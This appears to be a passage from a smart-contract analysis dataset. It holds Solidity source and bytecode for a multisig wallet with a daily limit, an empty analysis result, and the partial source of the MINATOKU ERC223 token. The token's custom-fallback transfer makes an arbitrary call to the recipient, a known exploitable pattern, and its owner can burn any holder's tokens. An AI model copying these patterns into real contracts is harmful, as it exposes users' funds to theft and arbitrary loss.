notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId, tx.reference);
else {
ExecutionFailure(transactionId, tx.reference);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param reference Transaction reference.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, string reference, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
reference: reference,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param executed Transaction executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ((!executed && !transactions[i].executed)
|| (executed && transactions[i].executed))
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs after filers are applied.
/// @param executed Transaction executed transactions.
/// @return Returns array of transaction IDs after filers are applied.
function getTransactionIds(bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ((!executed && !transactions[i].executed)
|| (executed && transactions[i].executed)) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](count);
for (i=0; i<count; i++) {
_transactionIds[i] = transactionIdsTemp[i];
}
}
}
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
event DailyLimitChange(uint dailyLimit);
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
modifier isNotZero(uint amount) {
require(amount > 0);
_;
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
isNotZero(_dailyLimit)
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
isNotZero(_dailyLimit)
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
Transaction tx = transactions[transactionId];
bool confirmed = isConfirmed(transactionId);
if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) {
tx.executed = true;
if (!confirmed)
spentToday += tx.value;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId, tx.reference);
else {
ExecutionFailure(transactionId, tx.reference);
tx.executed = false;
if (!confirmed)
spentToday -= tx.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e1461023657806330dfe1da146102875780633411c81c146102c05780637065cb481461031a578063784547a7146103535780638b51d13f1461038e578063940beaf5146103c55780639ace38c21461043f578063a0e67e2b1461058c578063b5dc40c3146105f6578063b77bf6001461066e578063ba51a6df14610697578063c01a8c84146106ba578063d74f8edd146106dd578063dc8452cd14610706578063e20056e61461072f578063e6a9026b14610787578063ee22610b14610863575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b341561018257600080fd5b6101986004808035906020019091905050610886565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108c5565b005b341561021e57600080fd5b6102346004808035906020019091905050610b61565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d09565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102aa60048080351515906020019091905050610d29565b6040518082815260200191505060405180910390f35b34156102cb57600080fd5b610300600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbb565b604051808215151515815260200191505060405180910390f35b341561032557600080fd5b610351600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dea565b005b341561035e57600080fd5b6103746004808035906020019091905050610fec565b604051808215151515815260200191505060405180910390f35b341561039957600080fd5b6103af60048080359060200190919050506110d2565b6040518082815260200191505060405180910390f35b34156103d057600080fd5b6103e86004808035151590602001909190505061119e565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561042b578082015181840152602081019050610410565b505050509050019250505060405180910390f35b341561044a57600080fd5b61046060048080359060200190919050506112f5565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001806020018415151515815260200180602001838103835286818151815260200191508051906020019080838360005b838110156104e65780820151818401526020810190506104cb565b50505050905090810190601f1680156105135780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561054c578082015181840152602081019050610531565b50505050905090810190601f1680156105795780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b341561059757600080fd5b61059f611488565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105e25780820151818401526020810190506105c7565b505050509050019250505060405180910390f35b341561060157600080fd5b610617600480803590602001909190505061151c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561065a57808201518184015260208101905061063f565b505050509050019250505060405180910390f35b341561067957600080fd5b610681611746565b6040518082815260200191505060405180910390f35b34156106a257600080fd5b6106b8600480803590602001909190505061174c565b005b34156106c557600080fd5b6106db6004808035906020019091905050611806565b005b34156106e857600080fd5b6106f06119e3565b6040518082815260200191505060405180910390f35b341561071157600080fd5b6107196119e8565b6040518082815260200191505060405180910390f35b341561073a57600080fd5b610785600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119ee565b005b341561079257600080fd5b61084d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611d05565b6040518082815260200191505060405180910390f35b341561086e57600080fd5b6108846004808035906020019091905050611d80565b005b60038181548110151561089557fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561090157600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561095a57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610ae2578273ffffffffffffffffffffffffffffffffffffffff166003838154811015156109ed57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610ad5576003600160038054905003815481101515610a4c57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8757fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ae2565b81806001019250506109b7565b6001600381818054905003915081610afa9190612186565b506003805490506004541115610b1957610b1860038054905061174c565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bba57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c2557600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610c5557600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b600080600090505b600554811015610db55782158015610d69575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d9c5750828015610d9b575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610da8576001820191505b8080600101915050610d31565b50919050565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e2457600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e7e57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610ea557600080fd5b60016003805490500160045460328211158015610ec25750818111155b8015610ecf575060008114155b8015610edc575060008214155b1515610ee757600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610f5391906121b2565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156110ca5760016000858152602001908152602001600020600060038381548110151561102a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110aa576001820191505b6004548214156110bd57600192506110cb565b8080600101915050610ff9565b5b5050919050565b600080600090505b6003805490508110156111985760016000848152602001908152602001600020600060038381548110151561110b57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561118b576001820191505b80806001019150506110da565b50919050565b6111a66121de565b6111ae6121de565b6000806005546040518059106111c15750595b9080825280602002602001820160405250925060009150600090505b60055481101561127e5784158015611215575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112485750848015611247575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156112715780838381518110151561125c57fe5b90602001906020020181815250506001820191505b80806001019150506111dd565b8160405180591061128c5750595b90808252806020026020018201604052509350600090505b818110156112ed5782818151811015156112ba57fe5b9060200190602002015184828151811015156112d257fe5b906020019060200201818152505080806001019150506112a4565b505050919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113cd5780601f106113a2576101008083540402835291602001916113cd565b820191906000526020600020905b8154815290600101906020018083116113b057829003601f168201915b5050505050908060030160009054906101000a900460ff1690806004018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561147e5780601f106114535761010080835404028352916020019161147e565b820191906000526020600020905b81548152906001019060200180831161146157829003601f168201915b5050505050905085565b6114906121f2565b600380548060200260200160405190810160405280929190818152602001828054801561151257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116114c8575b5050505050905090565b6115246121f2565b61152c6121f2565b6000806003805490506040518059106115425750595b9080825280602002602001820160405250925060009150600090505b6003805490508110156116a15760016000868152602001908152602001600020600060038381548110151561158f57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116945760038181548110151561161757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561165157fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b808060010191505061155e565b816040518059106116af5750595b90808252806020026020018201604052509350600090505b8181101561173e5782818151811015156116dd57fe5b9060200190602002015184828151811015156116f557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506116c7565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178657600080fd5b600380549050816032821115801561179e5750818111155b80156117ab575060008114155b80156117b8575060008214155b15156117c357600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561185f57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156118bb57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561192757600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a36119dc85611d80565b5050505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a2a57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a8357600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611add57600080fd5b600092505b600380549050831015611bc8578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b1557fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611bbb5783600384815481101515611b6d57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611bc8565b8280600101935050611ae2565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611d6057600080fd5b611d6c86868686612010565b9150611d7782611806565b50949350505050565b60008160008082815260200190815260200160002060030160009054906101000a900460ff16151515611db257600080fd5b611dbb83610fec565b1561200b57600080848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611e9a5780601f10611e6f57610100808354040283529160200191611e9a565b820191906000526020600020905b815481529060010190602001808311611e7d57829003601f168201915b505091505060006040518083038185875af19250505015611f5357816004016040518082805460018160011615610100020316600290048015611f145780601f10611ef2576101008083540402835291820191611f14565b820191906000526020600020905b815481529060010190602001808311611f00575b50509150506040518091039020837fc18d0dab28e44a2cbac17ff0032653637533170489f97c00b98f54de56f1eb4960405160405180910390a361200a565b816004016040518082805460018160011615610100020316600290048015611fb25780601f10611f90576101008083540402835291820191611fb2565b820191906000526020600020905b815481529060010190602001808311611f9e575b50509150506040518091039020837ff46b9a37318f375b6612b0522f04ac289129cafb279d379fa487be62a147477c60405160405180910390a360008260030160006101000a81548160ff0219169083151502179055505b5b505050565b60008460008173ffffffffffffffffffffffffffffffffffffffff161415151561203957600080fd5b600554915060a0604051908101604052808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018481526020016000151581526020018581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906120fe929190612206565b5060608201518160030160006101000a81548160ff021916908315150217905550608082015181600401908051906020019061213b929190612286565b509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a250949350505050565b8154818355818115116121ad578183600052602060002091820191016121ac9190612306565b5b505050565b8154818355818115116121d9578183600052602060002091820191016121d89190612306565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061224757805160ff1916838001178555612275565b82800160010185558215612275579182015b82811115612274578251825591602001919060010190612259565b5b5090506122829190612306565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122c757805160ff19168380011785556122f5565b828001600101855582156122f5579182015b828111156122f45782518255916020019190600101906122d9565b5b5090506123029190612306565b5090565b61232891905b8082111561232457600081600090555060010161230c565b5090565b905600a165627a7a723058201eb3083bb02ded4679f735015ad253c435b37447d35ccb759d4bb0151a613d880029
|
{"success": true, "error": null, "results": {}}
| 4,372 |
0x4ef25326f1cd07ea6a03202f8fd1f29115a44bc2
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
// ERC223 functions and events
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/**
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title MINATOKU
* @author MINATOKU
* @dev MINATOKU is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract MINATOKU is ERC223, Ownable {
using SafeMath for uint256;
string public name = "MINATOKU";
string public symbol = "MNTK";
uint8 public decimals = 8;
uint256 public initialSupply = 60e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function MINATOKU() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
